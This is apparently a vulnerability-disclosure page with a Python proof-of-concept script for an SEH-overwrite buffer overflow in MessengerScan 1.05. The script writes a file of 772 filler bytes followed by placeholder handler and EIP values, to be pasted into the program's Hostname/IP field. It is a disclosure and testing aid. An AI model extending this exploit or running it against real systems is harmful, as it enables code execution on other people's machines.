MessengerScan 1.05 - Local Buffer Overflow (PoC)

2017-08-18 19:05:14

#!/usr/bin/python
# Exploit Title : MessengerScan v1.05 Hostname/IP Field SEH/EIP Overwrite POC
# Discovery by : Anurag Srivastava
# Email : <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="abcac5ded9cacc85d8d9c2ddcad8dfcaddcaebdbd2d9cac6c2cfc8d2c9ced985c8c4c6">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>
# Discovery Date : 18/08/2017
# Software Link : https://www.mcafee.com/in/downloads/free-tools/messengerscan.aspx#
# Tested Version : 1.05
# Vulnerability Type: SEH Overwrite POC
# Tested on OS : Windows 7 Ultimate x64bit
# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->
##########################################################################################
# -----------------------------------NOTES----------------------------------------------#
##########################################################################################

#SEH chain of main thread
#Address SE handler
#42424242 *** CORRUPT ENTRY ***


# Offset to the SEH is 772
buffer = "A"*772
# Address to the Handler Code
seh = "B"*4
#Junk
junk = "C"*12
# Address to the EIP
eip = "D"*4
f = open("evil.txt", "wb")
f.write(buffer+seh+junk+eip)
f.close()

Fixes

No fixes

In order to submit a new fix you need to be registered.